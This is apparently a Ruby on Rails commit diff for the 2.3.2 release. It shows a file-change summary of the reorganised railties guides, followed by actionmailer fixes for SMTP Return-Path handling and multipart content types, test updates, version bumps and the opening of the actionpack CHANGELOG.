-rw-r--r--railties/doc/guides/source/actioncontroller_basics/rescue.txt67
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/session.txt156
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/streaming.txt91
-rw-r--r--railties/doc/guides/source/actioncontroller_basics/verification.txt40
-rw-r--r--railties/doc/guides/source/active_record_basics.txt154
-rw-r--r--railties/doc/guides/source/active_record_querying.txt774
-rw-r--r--railties/doc/guides/source/activerecord_validations_callbacks.txt863
-rw-r--r--railties/doc/guides/source/authors.txt57
-rw-r--r--railties/doc/guides/source/caching_with_rails.txt446
-rw-r--r--railties/doc/guides/source/command_line.txt340
-rw-r--r--railties/doc/guides/source/configuring.txt239
-rw-r--r--railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt191
-rw-r--r--railties/doc/guides/source/creating_plugins/appendix.txt104
-rw-r--r--railties/doc/guides/source/creating_plugins/controllers.txt63
-rw-r--r--railties/doc/guides/source/creating_plugins/core_ext.txt98
-rw-r--r--railties/doc/guides/source/creating_plugins/gem.txt1
-rw-r--r--railties/doc/guides/source/creating_plugins/gems.txt50
-rw-r--r--railties/doc/guides/source/creating_plugins/generator_commands.txt144
-rw-r--r--railties/doc/guides/source/creating_plugins/generator_method.txt89
-rw-r--r--railties/doc/guides/source/creating_plugins/generators.txt98
-rw-r--r--railties/doc/guides/source/creating_plugins/helpers.txt49
-rw-r--r--railties/doc/guides/source/creating_plugins/index.txt60
-rw-r--r--railties/doc/guides/source/creating_plugins/migrations.txt213
-rw-r--r--railties/doc/guides/source/creating_plugins/models.txt74
-rw-r--r--railties/doc/guides/source/creating_plugins/rdoc.txt18
-rw-r--r--railties/doc/guides/source/creating_plugins/routes.txt69
-rw-r--r--railties/doc/guides/source/creating_plugins/setup.txt84
-rw-r--r--railties/doc/guides/source/creating_plugins/tasks.txt27
-rw-r--r--railties/doc/guides/source/creating_plugins/test_setup.txt230
-rw-r--r--railties/doc/guides/source/creating_plugins/tests.txt165
-rw-r--r--railties/doc/guides/source/form_helpers.txt744
-rw-r--r--railties/doc/guides/source/i18n.txt654
-rw-r--r--railties/doc/guides/source/images/error_messages.pngbin8440 -> 0 bytes
-rw-r--r--railties/doc/guides/source/images/i18n/demo_localized_pirate.pngbin36500 -> 0 bytes
-rw-r--r--railties/doc/guides/source/images/i18n/demo_translated_en.pngbin32877 -> 0 bytes
-rw-r--r--railties/doc/guides/source/images/i18n/demo_translated_pirate.pngbin34506 -> 0 bytes
-rw-r--r--railties/doc/guides/source/images/i18n/demo_translation_missing.pngbin34373 -> 0 bytes
-rw-r--r--railties/doc/guides/source/images/i18n/demo_untranslated.pngbin32793 -> 0 bytes
-rw-r--r--railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gifbin6793 -> 0 bytes
-rw-r--r--railties/doc/guides/source/index.txt145
-rw-r--r--railties/doc/guides/source/migrations/anatomy_of_a_migration.txt85
-rw-r--r--railties/doc/guides/source/migrations/changelog.txt5
-rw-r--r--railties/doc/guides/source/migrations/creating_a_migration.txt109
-rw-r--r--railties/doc/guides/source/migrations/foreign_keys.txt8
-rw-r--r--railties/doc/guides/source/migrations/index.txt22
-rw-r--r--railties/doc/guides/source/migrations/rakeing_around.txt113
-rw-r--r--railties/doc/guides/source/migrations/scheming.txt47
-rw-r--r--railties/doc/guides/source/migrations/using_models_in_migrations.txt46
-rw-r--r--railties/doc/guides/source/migrations/writing_a_migration.txt159
-rw-r--r--railties/doc/guides/source/rails_on_rack.txt256
-rw-r--r--railties/doc/guides/source/stylesheets/base.css362
-rw-r--r--railties/doc/guides/source/stylesheets/forms.css35
-rw-r--r--railties/doc/guides/source/stylesheets/more.css253
-rw-r--r--railties/doc/guides/source/templates/guides.html.erb94
-rw-r--r--railties/environments/boot.rb1
-rwxr-xr-xrailties/guides/files/javascripts/code_highlighter.js188
-rwxr-xr-xrailties/guides/files/javascripts/guides.js8
-rw-r--r--railties/guides/files/javascripts/highlighters.js90
-rw-r--r--railties/guides/files/stylesheets/main.css441
-rwxr-xr-xrailties/guides/files/stylesheets/print.css52
-rwxr-xr-xrailties/guides/files/stylesheets/reset.css43
-rwxr-xr-xrailties/guides/files/stylesheets/style.css13
-rw-r--r--railties/guides/files/stylesheets/syntax.css31
-rw-r--r--railties/guides/images/belongs_to.png (renamed from railties/doc/guides/source/images/belongs_to.png)bin34017 -> 34017 bytes
-rw-r--r--railties/guides/images/book_icon.gifbin0 -> 337 bytes
-rw-r--r--railties/guides/images/bullet.gif (renamed from railties/doc/guides/source/images/bullet.gif)bin60 -> 60 bytes
-rw-r--r--railties/guides/images/chapters_icon.gifbin0 -> 628 bytes
-rw-r--r--railties/guides/images/check_bullet.gifbin0 -> 384 bytes
-rw-r--r--railties/guides/images/credits_pic_blank.gifbin0 -> 613 bytes
-rw-r--r--railties/guides/images/csrf.png (renamed from railties/doc/guides/source/images/csrf.png)bin41996 -> 41996 bytes
-rw-r--r--railties/guides/images/customized_error_messages.png (renamed from railties/doc/guides/source/images/customized_error_messages.png)bin5055 -> 5055 bytes
-rw-r--r--railties/guides/images/error_messages.pngbin0 -> 14645 bytes
-rw-r--r--railties/guides/images/feature_tile.gifbin0 -> 43 bytes
-rw-r--r--railties/guides/images/footer_tile.gifbin0 -> 44 bytes
-rw-r--r--railties/guides/images/fxn.jpgbin0 -> 17773 bytes
-rw-r--r--railties/guides/images/grey_bullet.gifbin0 -> 45 bytes
-rw-r--r--railties/guides/images/habtm.png (renamed from railties/doc/guides/source/images/habtm.png)bin63801 -> 63801 bytes
-rw-r--r--railties/guides/images/has_many.png (renamed from railties/doc/guides/source/images/has_many.png)bin38582 -> 38582 bytes
-rw-r--r--railties/guides/images/has_many_through.png (renamed from railties/doc/guides/source/images/has_many_through.png)bin100220 -> 100220 bytes
-rw-r--r--railties/guides/images/has_one.png (renamed from railties/doc/guides/source/images/has_one.png)bin39022 -> 39022 bytes
-rw-r--r--railties/guides/images/has_one_through.png (renamed from railties/doc/guides/source/images/has_one_through.png)bin92594 -> 92594 bytes
-rw-r--r--railties/guides/images/header_backdrop.png (renamed from railties/doc/guides/source/images/header_backdrop.png)bin882 -> 882 bytes
-rw-r--r--railties/guides/images/header_tile.gifbin0 -> 44 bytes
-rw-r--r--railties/guides/images/i18n/demo_localized_pirate.pngbin0 -> 15027 bytes
-rw-r--r--railties/guides/images/i18n/demo_translated_en.pngbin0 -> 12057 bytes
-rw-r--r--railties/guides/images/i18n/demo_translated_pirate.pngbin0 -> 13392 bytes
-rw-r--r--railties/guides/images/i18n/demo_translation_missing.pngbin0 -> 13143 bytes
-rw-r--r--railties/guides/images/i18n/demo_untranslated.pngbin0 -> 11925 bytes
-rw-r--r--railties/guides/images/icons/README (renamed from railties/doc/guides/source/images/icons/README)0
-rw-r--r--railties/guides/images/icons/callouts/1.png (renamed from railties/doc/guides/source/images/icons/callouts/1.png)bin329 -> 329 bytes
-rw-r--r--railties/guides/images/icons/callouts/10.png (renamed from railties/doc/guides/source/images/icons/callouts/10.png)bin361 -> 361 bytes
-rw-r--r--railties/guides/images/icons/callouts/11.png (renamed from railties/doc/guides/source/images/icons/callouts/11.png)bin565 -> 565 bytes
-rw-r--r--railties/guides/images/icons/callouts/12.png (renamed from railties/doc/guides/source/images/icons/callouts/12.png)bin617 -> 617 bytes
-rw-r--r--railties/guides/images/icons/callouts/13.png (renamed from railties/doc/guides/source/images/icons/callouts/13.png)bin623 -> 623 bytes
-rw-r--r--railties/guides/images/icons/callouts/14.png (renamed from railties/doc/guides/source/images/icons/callouts/14.png)bin411 -> 411 bytes
-rw-r--r--railties/guides/images/icons/callouts/15.png (renamed from railties/doc/guides/source/images/icons/callouts/15.png)bin640 -> 640 bytes
-rw-r--r--railties/guides/images/icons/callouts/2.png (renamed from railties/doc/guides/source/images/icons/callouts/2.png)bin353 -> 353 bytes
-rw-r--r--railties/guides/images/icons/callouts/3.png (renamed from railties/doc/guides/source/images/icons/callouts/3.png)bin350 -> 350 bytes
-rw-r--r--railties/guides/images/icons/callouts/4.png (renamed from railties/doc/guides/source/images/icons/callouts/4.png)bin345 -> 345 bytes
-rw-r--r--railties/guides/images/icons/callouts/5.png (renamed from railties/doc/guides/source/images/icons/callouts/5.png)bin348 -> 348 bytes
-rw-r--r--railties/guides/images/icons/callouts/6.png (renamed from railties/doc/guides/source/images/icons/callouts/6.png)bin355 -> 355 bytes
-rw-r--r--railties/guides/images/icons/callouts/7.png (renamed from railties/doc/guides/source/images/icons/callouts/7.png)bin344 -> 344 bytes
-rw-r--r--railties/guides/images/icons/callouts/8.png (renamed from railties/doc/guides/source/images/icons/callouts/8.png)bin357 -> 357 bytes
-rw-r--r--railties/guides/images/icons/callouts/9.png (renamed from railties/doc/guides/source/images/icons/callouts/9.png)bin357 -> 357 bytes
-rw-r--r--railties/guides/images/icons/caution.png (renamed from railties/doc/guides/source/images/icons/caution.png)bin2554 -> 2554 bytes
-rw-r--r--railties/guides/images/icons/example.png (renamed from railties/doc/guides/source/images/icons/example.png)bin2354 -> 2354 bytes
-rw-r--r--railties/guides/images/icons/home.png (renamed from railties/doc/guides/source/images/icons/home.png)bin1340 -> 1340 bytes
-rw-r--r--railties/guides/images/icons/important.png (renamed from railties/doc/guides/source/images/icons/important.png)bin2657 -> 2657 bytes
-rw-r--r--railties/guides/images/icons/next.png (renamed from railties/doc/guides/source/images/icons/next.png)bin1302 -> 1302 bytes
-rw-r--r--railties/guides/images/icons/note.png (renamed from railties/doc/guides/source/images/icons/note.png)bin2730 -> 2730 bytes
-rw-r--r--railties/guides/images/icons/prev.png (renamed from railties/doc/guides/source/images/icons/prev.png)bin1348 -> 1348 bytes
-rw-r--r--railties/guides/images/icons/tip.png (renamed from railties/doc/guides/source/images/icons/tip.png)bin2602 -> 2602 bytes
-rw-r--r--railties/guides/images/icons/up.png (renamed from railties/doc/guides/source/images/icons/up.png)bin1320 -> 1320 bytes
-rw-r--r--railties/guides/images/icons/warning.png (renamed from railties/doc/guides/source/images/icons/warning.png)bin2828 -> 2828 bytes
-rw-r--r--railties/guides/images/nav_arrow.gifbin0 -> 427 bytes
-rw-r--r--railties/guides/images/polymorphic.png (renamed from railties/doc/guides/source/images/polymorphic.png)bin85248 -> 85248 bytes
-rw-r--r--railties/guides/images/posts_index.pngbin0 -> 5824 bytes
-rw-r--r--railties/guides/images/rails_guides_logo.gifbin0 -> 5114 bytes
-rw-r--r--railties/guides/images/rails_logo_remix.gif (renamed from railties/doc/guides/source/images/rails_logo_remix.gif)bin8533 -> 8533 bytes
-rw-r--r--railties/guides/images/rails_welcome.pngbin0 -> 76496 bytes
-rw-r--r--railties/guides/images/session_fixation.png (renamed from railties/doc/guides/source/images/session_fixation.png)bin47860 -> 47860 bytes
-rw-r--r--railties/guides/images/tab_grey.gifbin0 -> 4924 bytes
-rw-r--r--railties/guides/images/tab_info.gifbin0 -> 4762 bytes
-rw-r--r--railties/guides/images/tab_note.gifbin0 -> 4807 bytes
-rw-r--r--railties/guides/images/tab_red.gifbin0 -> 4753 bytes
-rw-r--r--railties/guides/images/tab_yellow.gifbin0 -> 4759 bytes
-rw-r--r--railties/guides/images/tab_yellow.pngbin0 -> 1611 bytes
-rw-r--r--railties/guides/images/validation_error_messages.png (renamed from railties/doc/guides/source/images/validation_error_messages.png)bin1107 -> 1107 bytes
-rw-r--r--railties/guides/rails_guides.rb43
-rw-r--r--railties/guides/rails_guides/generator.rb172
-rw-r--r--railties/guides/rails_guides/helpers.rb34
-rw-r--r--railties/guides/rails_guides/indexer.rb55
-rw-r--r--railties/guides/rails_guides/levenshtein.rb29
-rw-r--r--railties/guides/rails_guides/textile_extensions.rb41
-rw-r--r--railties/guides/source/2_2_release_notes.textile (renamed from railties/doc/guides/source/2_2_release_notes.txt)288
-rw-r--r--railties/guides/source/2_3_release_notes.textile610
-rw-r--r--railties/guides/source/action_controller_overview.textile776
-rw-r--r--railties/guides/source/action_mailer_basics.textile424
-rw-r--r--railties/guides/source/active_record_basics.textile135
-rw-r--r--railties/guides/source/active_record_querying.textile968
-rw-r--r--railties/guides/source/activerecord_validations_callbacks.textile1086
-rw-r--r--railties/guides/source/association_basics.textile (renamed from railties/doc/guides/source/association_basics.txt)1257
-rw-r--r--railties/guides/source/caching_with_rails.textile516
-rw-r--r--railties/guides/source/command_line.textile589
-rw-r--r--railties/guides/source/configuring.textile234
-rw-r--r--railties/guides/source/contribute.textile71
-rw-r--r--railties/guides/source/contributing_to_rails.textile239
-rw-r--r--railties/guides/source/credits.erb.textile52
-rw-r--r--railties/guides/source/debugging_rails_applications.textile (renamed from railties/doc/guides/source/debugging_rails_applications.txt)476
-rw-r--r--railties/guides/source/form_helpers.textile766
-rw-r--r--railties/guides/source/getting_started.textile (renamed from railties/doc/guides/source/getting_started_with_rails.txt)815
-rw-r--r--railties/guides/source/i18n.textile912
-rw-r--r--railties/guides/source/index.erb.textile124
-rw-r--r--railties/guides/source/layout.html.erb103
-rw-r--r--railties/guides/source/layouts_and_rendering.textile (renamed from railties/doc/guides/source/layouts_and_rendering.txt)756
-rw-r--r--railties/guides/source/migrations.textile591
-rw-r--r--railties/guides/source/nested_model_forms.textile222
-rw-r--r--railties/guides/source/performance_testing.textile (renamed from railties/doc/guides/source/performance_testing.txt)365
-rw-r--r--railties/guides/source/plugins.textile1512
-rw-r--r--railties/guides/source/rails_on_rack.textile309
-rw-r--r--railties/guides/source/routing.textile (renamed from railties/doc/guides/source/routing_outside_in.txt)686
-rw-r--r--railties/guides/source/security.textile (renamed from railties/doc/guides/source/security.txt)776
-rw-r--r--railties/guides/source/testing.textile (renamed from railties/doc/guides/source/testing_rails_applications.txt)579
-rw-r--r--railties/html/500.html3
-rw-r--r--railties/html/index.html8
-rw-r--r--railties/lib/commands/plugin.rb453
-rw-r--r--railties/lib/commands/server.rb19
-rw-r--r--railties/lib/console_app.rb5
-rw-r--r--railties/lib/fcgi_handler.rb22
-rw-r--r--railties/lib/initializer.rb51
-rw-r--r--railties/lib/rails/backtrace_cleaner.rb23
-rw-r--r--railties/lib/rails/gem_dependency.rb218
-rw-r--r--railties/lib/rails/plugin.rb8
-rw-r--r--railties/lib/rails/plugin/loader.rb59
-rw-r--r--railties/lib/rails/rack/metal.rb27
-rw-r--r--railties/lib/rails/rack/static.rb17
-rw-r--r--railties/lib/rails/version.rb2
-rw-r--r--railties/lib/rails_generator/commands.rb8
-rw-r--r--railties/lib/rails_generator/generators/applications/app/template_runner.rb42
-rw-r--r--railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb2
-rw-r--r--railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb8
-rw-r--r--railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb2
-rw-r--r--railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb4
-rw-r--r--railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb4
-rw-r--r--railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb4
-rw-r--r--railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb2
-rw-r--r--railties/lib/tasks/databases.rake1
-rw-r--r--railties/lib/tasks/documentation.rake11
-rw-r--r--railties/lib/tasks/gems.rake81
-rw-r--r--railties/lib/tasks/testing.rake2
-rw-r--r--railties/test/abstract_unit.rb22
-rw-r--r--railties/test/backtrace_cleaner_test.rb65
-rw-r--r--railties/test/boot_test.rb7
-rw-r--r--railties/test/console_app_test.rb22
-rw-r--r--railties/test/error_page_test.rb40
-rw-r--r--railties/test/fcgi_dispatcher_test.rb69
-rw-r--r--railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb5
-rw-r--r--railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb5
-rw-r--r--railties/test/fixtures/metal/pluralmetal/app/metal/legacy_routes.rb5
-rw-r--r--railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb5
-rw-r--r--railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_a.rb7
-rw-r--r--railties/test/fixtures/metal/subfolders/app/metal/Folder/metal_b.rb7
-rw-r--r--railties/test/fixtures/plugins/engines/engine/app/metal/engine_metal.rb10
-rw-r--r--railties/test/fixtures/plugins/engines/engine/init.rb2
-rw-r--r--railties/test/fixtures/public/foo/bar.html1
-rw-r--r--railties/test/fixtures/public/foo/index.html1
-rw-r--r--railties/test/fixtures/public/index.html1
-rw-r--r--railties/test/gem_dependency_test.rb233
-rw-r--r--railties/test/generators/rails_scaffold_generator_test.rb24
-rw-r--r--railties/test/generators/rails_template_runner_test.rb32
-rw-r--r--railties/test/initializer_test.rb480
-rw-r--r--railties/test/metal_test.rb72
-rw-r--r--railties/test/plugin_loader_test.rb11
-rw-r--r--railties/test/plugin_locator_test.rb107
-rw-r--r--railties/test/plugin_test.rb271
-rw-r--r--railties/test/rack_static_test.rb46
-rw-r--r--railties/test/rails_info_controller_test.rb54
-rw-r--r--railties/test/rails_info_test.rb17
-rw-r--r--railties/test/vendor/gems/dummy-gem-g-1.0.0/.specification2
622 files changed, 31620 insertions, 41616 deletions
diff --git a/.gitignore b/.gitignore
index bb1ca166e6..d86af64569 100644
--- a/.gitignore
+++ b/.gitignore
@@ -15,6 +15,7 @@ railties/test/500.html
railties/doc/guides/html/images
railties/doc/guides/html/stylesheets
benches
+railties/guides/output
*.rbc
*.swp
*.swo
diff --git a/actionmailer/CHANGELOG b/actionmailer/CHANGELOG
index 64124e06a8..773e603d73 100644
--- a/actionmailer/CHANGELOG
+++ b/actionmailer/CHANGELOG
@@ -1,4 +1,6 @@
-*2.3.0 [Edge]*
+*2.3.2 [Final] (March 15, 2009)*
+
+* Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 [Matt Jones]
* Fixed RFC-2045 quoted-printable bug #1421 [squadette]
diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile
index c3826e3a27..f06f18ff76 100644
--- a/actionmailer/Rakefile
+++ b/actionmailer/Rakefile
@@ -55,7 +55,7 @@ spec = Gem::Specification.new do |s|
s.rubyforge_project = "actionmailer"
s.homepage = "http://www.rubyonrails.org"
- s.add_dependency('actionpack', '= 2.3.0' + PKG_BUILD)
+ s.add_dependency('actionpack', '= 2.3.2' + PKG_BUILD)
s.has_rdoc = true
s.requirements << 'none'
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
index 45fcab599c..02c536c8ad 100644
--- a/actionmailer/lib/action_mailer.rb
+++ b/actionmailer/lib/action_mailer.rb
@@ -58,4 +58,5 @@ module Net
end
autoload :MailHelper, 'action_mailer/mail_helper'
-autoload :TMail, 'action_mailer/vendor/tmail'
+
+require 'action_mailer/vendor/tmail'
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index 473703b629..06610cf9bd 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -254,6 +254,8 @@ module ActionMailer #:nodoc:
private_class_method :new #:nodoc:
class_inheritable_accessor :view_paths
+ self.view_paths = []
+
cattr_accessor :logger
@@smtp_settings = {
@@ -485,7 +487,7 @@ module ActionMailer #:nodoc:
)
end
unless @parts.empty?
- @content_type = "multipart/alternative"
+ @content_type = "multipart/alternative" if @content_type !~ /^multipart/
@parts = sort_parts(@parts, @implicit_parts_order)
end
end
@@ -613,7 +615,7 @@ module ActionMailer #:nodoc:
end
def initialize_template_class(assigns)
- template = ActionView::Base.new(view_paths, assigns, self)
+ template = ActionView::Base.new(self.class.view_paths, assigns, self)
template.formats = [default_template_format]
template
end
@@ -691,7 +693,7 @@ module ActionMailer #:nodoc:
def perform_delivery_smtp(mail)
destinations = mail.destinations
mail.ready_to_send
- sender = mail['return-path'] || mail.from
+ sender = (mail['return-path'] && mail['return-path'].spec) || mail.from
smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])
smtp.enable_starttls_auto if smtp_settings[:enable_starttls_auto] && smtp.respond_to?(:enable_starttls_auto)
diff --git a/actionmailer/lib/action_mailer/part.rb b/actionmailer/lib/action_mailer/part.rb
index 977c0b2b5c..2bbb59cdb6 100644
--- a/actionmailer/lib/action_mailer/part.rb
+++ b/actionmailer/lib/action_mailer/part.rb
@@ -88,7 +88,10 @@ module ActionMailer
part.parts << prt
end
- part.set_content_type(real_content_type, nil, ctype_attrs) if real_content_type =~ /multipart/
+ if real_content_type =~ /multipart/
+ ctype_attrs.delete 'charset'
+ part.set_content_type(real_content_type, nil, ctype_attrs)
+ end
end
headers.each { |k,v| part[k] = v }
diff --git a/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb b/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb
index de054db83e..2d20c7a6a1 100755
--- a/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb
+++ b/actionmailer/lib/action_mailer/vendor/text-format-0.6.3/text/format.rb
@@ -1150,7 +1150,7 @@ if __FILE__ == $0
assert_equal(Text::Format::JUSTIFY, @format_o.format_style)
assert_match(/^of freedom, and that government of the people, by the people, for the$/,
@format_o.format(GETTYSBURG).split("\n")[-3])
- assert_raises(ArgumentError) { @format_o.format_style = 33 }
+ assert_raise(ArgumentError) { @format_o.format_style = 33 }
end
def test_tag_paragraph
diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb
index 9cd7a14b73..08ff0d2ffb 100644
--- a/actionmailer/lib/action_mailer/version.rb
+++ b/actionmailer/lib/action_mailer/version.rb
@@ -2,7 +2,7 @@ module ActionMailer
module VERSION #:nodoc:
MAJOR = 2
MINOR = 3
- TINY = 0
+ TINY = 2
STRING = [MAJOR, MINOR, TINY].join('.')
end
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
index a6126d6f7f..51b375fef3 100644
--- a/actionmailer/test/abstract_unit.rb
+++ b/actionmailer/test/abstract_unit.rb
@@ -1,5 +1,9 @@
+require 'rubygems'
require 'test/unit'
+gem 'mocha', '>= 0.9.5'
+require 'mocha'
+
$:.unshift "#{File.dirname(__FILE__)}/../lib"
$:.unshift "#{File.dirname(__FILE__)}/../../activesupport/lib"
$:.unshift "#{File.dirname(__FILE__)}/../../actionpack/lib"
@@ -43,7 +47,6 @@ class Net::SMTP
end
def uses_gem(gem_name, test_name, version = '> 0')
- require 'rubygems'
gem gem_name.to_s, version
require gem_name.to_s
yield
@@ -51,13 +54,6 @@ rescue LoadError
$stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
end
-# Wrap tests that use Mocha and skip if unavailable.
-unless defined? uses_mocha
- def uses_mocha(test_name, &block)
- uses_gem('mocha', test_name, '>= 0.5.5', &block)
- end
-end
-
def set_delivery_method(delivery_method)
@old_delivery_method = ActionMailer::Base.delivery_method
ActionMailer::Base.delivery_method = delivery_method
diff --git a/actionmailer/test/mail_layout_test.rb b/actionmailer/test/mail_layout_test.rb
index c185bd5acd..50901f52ec 100644
--- a/actionmailer/test/mail_layout_test.rb
+++ b/actionmailer/test/mail_layout_test.rb
@@ -21,10 +21,12 @@ class AutoLayoutMailer < ActionMailer::Base
body render(:inline => "Hello, <%= @world %>", :layout => false, :body => { :world => "Earth" })
end
- def multipart(recipient)
+ def multipart(recipient, type = nil)
recipients recipient
subject "You have a mail"
from "tester@example.com"
+
+ content_type(type) if type
end
end
@@ -64,6 +66,19 @@ class LayoutMailerTest < Test::Unit::TestCase
def test_should_pickup_multipart_layout
mail = AutoLayoutMailer.create_multipart(@recipient)
+ assert_equal "multipart/alternative", mail.content_type
+ assert_equal 2, mail.parts.size
+
+ assert_equal 'text/plain', mail.parts.first.content_type
+ assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body
+
+ assert_equal 'text/html', mail.parts.last.content_type
+ assert_equal "Hello from layout text/html multipart", mail.parts.last.body
+ end
+
+ def test_should_pickup_multipartmixed_layout
+ mail = AutoLayoutMailer.create_multipart(@recipient, "multipart/mixed")
+ assert_equal "multipart/mixed", mail.content_type
assert_equal 2, mail.parts.size
assert_equal 'text/plain', mail.parts.first.content_type
@@ -73,6 +88,19 @@ class LayoutMailerTest < Test::Unit::TestCase
assert_equal "Hello from layout text/html multipart", mail.parts.last.body
end
+ def test_should_fix_multipart_layout
+ mail = AutoLayoutMailer.create_multipart(@recipient, "text/plain")
+ assert_equal "multipart/alternative", mail.content_type
+ assert_equal 2, mail.parts.size
+
+ assert_equal 'text/plain', mail.parts.first.content_type
+ assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body
+
+ assert_equal 'text/html', mail.parts.last.content_type
+ assert_equal "Hello from layout text/html multipart", mail.parts.last.body
+ end
+
+
def test_should_pickup_layout_given_to_render
mail = AutoLayoutMailer.create_spam(@recipient)
assert_equal "Spammer layout Hello, Earth", mail.body.strip
diff --git a/actionmailer/test/mail_service_test.rb b/actionmailer/test/mail_service_test.rb
index d14f326163..b7d5fd5dd3 100644
--- a/actionmailer/test/mail_service_test.rb
+++ b/actionmailer/test/mail_service_test.rb
@@ -289,8 +289,6 @@ class TestMailer < ActionMailer::Base
end
end
-uses_mocha 'ActionMailerTest' do
-
class ActionMailerTest < Test::Unit::TestCase
include ActionMailer::Quoting
@@ -332,6 +330,7 @@ class ActionMailerTest < Test::Unit::TestCase
assert_equal "multipart/mixed", created.content_type
assert_equal "multipart/alternative", created.parts.first.content_type
assert_equal "bar", created.parts.first.header['foo'].to_s
+ assert_nil created.parts.first.charset
assert_equal "text/plain", created.parts.first.parts.first.content_type
assert_equal "text/html", created.parts.first.parts[1].content_type
assert_equal "application/octet-stream", created.parts[1].content_type
@@ -958,6 +957,7 @@ EOF
ActionMailer::Base.delivery_method = :smtp
TestMailer.deliver_return_path
assert_match %r{^Return-Path: <another@somewhere.test>}, MockSMTP.deliveries[0][0]
+ assert_equal "another@somewhere.test", MockSMTP.deliveries[0][1].to_s
end
def test_body_is_stored_as_an_ivar
@@ -992,8 +992,6 @@ EOF
end
end
-end # uses_mocha
-
class InheritableTemplateRootTest < Test::Unit::TestCase
def test_attr
expected = "#{File.dirname(__FILE__)}/fixtures/path.with.dots"
@@ -1089,7 +1087,7 @@ class RespondToTest < Test::Unit::TestCase
end
def test_should_still_raise_exception_with_expected_message_when_calling_an_undefined_method
- error = assert_raises NoMethodError do
+ error = assert_raise NoMethodError do
RespondToMailer.not_a_method
end
diff --git a/actionmailer/test/test_helper_test.rb b/actionmailer/test/test_helper_test.rb
index 9d22bb26bd..65b07a71b8 100644
--- a/actionmailer/test/test_helper_test.rb
+++ b/actionmailer/test/test_helper_test.rb
@@ -26,7 +26,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
end
def test_determine_default_mailer_raises_correct_error
- assert_raises(ActionMailer::NonInferrableMailerError) do
+ assert_raise(ActionMailer::NonInferrableMailerError) do
self.class.determine_default_mailer("NotAMailerTest")
end
end
@@ -84,7 +84,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
end
def test_assert_emails_too_few_sent
- error = assert_raises ActiveSupport::TestCase::Assertion do
+ error = assert_raise ActiveSupport::TestCase::Assertion do
assert_emails 2 do
TestHelperMailer.deliver_test
end
@@ -94,7 +94,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
end
def test_assert_emails_too_many_sent
- error = assert_raises ActiveSupport::TestCase::Assertion do
+ error = assert_raise ActiveSupport::TestCase::Assertion do
assert_emails 1 do
TestHelperMailer.deliver_test
TestHelperMailer.deliver_test
@@ -105,7 +105,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
end
def test_assert_no_emails_failure
- error = assert_raises ActiveSupport::TestCase::Assertion do
+ error = assert_raise ActiveSupport::TestCase::Assertion do
assert_no_emails do
TestHelperMailer.deliver_test
end
diff --git a/actionpack/CHANGELOG b/actionpack/CHANGELOG
index e9e18a8f6b..11ee1c1059 100644
--- a/actionpack/CHANGELOG
+++ b/actionpack/CHANGELOG
@@ -1,4 +1,35 @@
-*2.3.0 [Edge]*
+*Edge*
+
+* Fixed that TestResponse.cookies was returning cookies unescaped #1867 [Doug McInnes]
+
+
+*2.3.2 [Final] (March 15, 2009)*
+
+* Fixed that redirection would just log the options, not the final url (which lead to "Redirected to #<Post:0x23150b8>") [DHH]
+
+* Added ability to pass in :public => true to fresh_when, stale?, and expires_in to make the request proxy cachable #2095 [Gregg Pollack]
+
+* Fixed that passing a custom form builder would be forwarded to nested fields_for calls #2023 [Eloy Duran/Nate Wiger]
+
+* Form option helpers now support disabled option tags and the use of lambdas for selecting/disabling option tags from collections #837 [Tekin]
+
+* Added partial scoping to TranslationHelper#translate, so if you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") [DHH]
+
+* Fix a syntax error in current_page?() that was prevent matches against URL's with multiple query parameters #1385, #1868 [chris finne/Andrew White]
+
+* Added localized rescue template when I18n.locale is set (ex: public/404.da.html) #1835 [José Valim]
+
+* Make the form_for and fields_for helpers support the new Active Record nested update options. #1202 [Eloy Duran]
+
+ <% form_for @person do |person_form| %>
+ ...
+ <% person_form.fields_for :projects do |project_fields| %>
+ <% if project_fields.object.active? %>
+ Name: <%= project_fields.text_field :name %>
+ <% end %>
+ <% end %>
+ <% end %>
+
* Added grouped_options_for_select helper method for wrapping option tags in optgroups. #977 [Jon Crawford]
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
index 230a78c069..300c2ebf81 100644
--- a/actionpack/Rakefile
+++ b/actionpack/Rakefile
@@ -80,8 +80,7 @@ spec = Gem::Specification.new do |s|
s.has_rdoc = true
s.requirements << 'none'
- s.add_dependency('activesupport', '= 2.3.0' + PKG_BUILD)
- s.add_dependency('rack', '>= 0.9.0')
+ s.add_dependency('activesupport', '= 2.3.2' + PKG_BUILD)
